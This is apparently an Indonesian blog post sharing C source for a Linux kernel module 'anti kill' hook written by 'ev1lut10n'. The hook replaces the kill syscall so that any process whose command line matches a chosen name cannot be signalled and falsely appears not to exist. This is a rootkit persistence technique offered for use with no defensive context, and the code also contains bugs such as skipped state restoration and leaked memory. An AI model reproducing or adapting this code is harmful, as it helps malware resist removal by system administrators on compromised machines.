Space Iklan Space Iklan Space Iklan Space Iklan

fresh from the open self made idea for anti kill

Bookmark and Share
fresh from the open self made idea for anti kill
 how to use this code ? googling
======
/**fresh self made code from the oven
anti kill
made by ev1lut10n
using this no care about old or new kernel
**/

char hasil_konversi[10];

//static char kosong[1]="";
int status,konter,bit_mesin,nilai_kembali;
int *pointer_berupa_integer;
u_char *tmp_buf2;
mm_segment_t old_fs;
int should_i_disable_sys_kill=1;


static char *mv_int_to_str(int nomer)
{
      sprintf(hasil_konversi,"%d",nomer);
      return hasil_konversi;
}

asmlinkage unsigned long *ev1lut10n_kill(int pid, int sig)
{
/**#include <linux/sched.h>**/
    char file_buf[200];
    char *lemme_lemme_maho;
    int totheap=0;
    old_fs=get_fs();
    if((should_i_disable_sys_kill>0))
    {
        mv_int_to_str(pid);
        totheap=6+sizeof(hasil_konversi)+8;
        lemme_lemme_maho=(char*)kmalloc(totheap,GFP_KERNEL);
        sprintf(lemme_lemme_maho,"/proc/%s/cmdline",hasil_konversi);
        ev1l_proc=filp_open(lemme_lemme_maho,O_RDONLY,0);
    if(ev1l_proc)
     {
        old_fs=get_fs();
        set_fs(get_ds());
         ev1l_proc->f_op->read(ev1l_proc, file_buf,50, &ev1l_proc->f_pos);
       
         if(strstr(file_buf,EV1LUT10N_PROC))
            {
               
                 return (unsigned long *) (-ESRCH);
            }
            else
            {
                return (unsigned long *) (*kill_asli)(pid,sig);
            }
        set_fs(old_fs);
     }
     filp_close(ev1l_proc,NULL);
   }
   return (unsigned long *) (*kill_asli)(pid,sig);
}
===============
 
beritasehari